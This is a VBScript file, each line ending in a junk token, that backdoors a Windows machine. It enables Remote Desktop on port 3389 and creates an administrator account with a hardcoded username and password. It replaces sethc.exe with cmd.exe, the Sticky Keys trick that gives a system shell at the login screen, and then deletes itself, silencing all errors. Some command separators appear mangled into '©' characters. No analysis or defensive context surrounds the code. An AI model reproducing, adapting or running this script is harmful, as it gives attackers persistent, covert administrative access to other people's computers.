on error resume next o0p%j4vac
const HKEY_LOCAL_MACHINE = &H80000002 o0p%j4vac
strComputer = "." o0p%j4vac
Set StdOut = WScript.StdOut o0p%j4vac
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ o0p%j4vac
strComputer & "\root\default:StdRegProv") o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" o0p%j4vac
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" o0p%j4vac
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" o0p%j4vac
strValueName = "fDenyTSConnections" o0p%j4vac
dwValue = 0 o0p%j4vac
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" o0p%j4vac
strValueName = "PortNumber" o0p%j4vac
dwValue = 3389 o0p%j4vac
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue o0p%j4vac
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" o0p%j4vac
strValueName = "PortNumber" o0p%j4vac
dwValue = 3389 o0p%j4vac
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue o0p%j4vac
on error resume next o0p%j4vac
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath o0p%j4vac
On Error Resume Next o0p%j4vac
Dim obj, success o0p%j4vac
Set obj = CreateObject("WScript.Shell") o0p%j4vac
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) o0p%j4vac
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) o0p%j4vac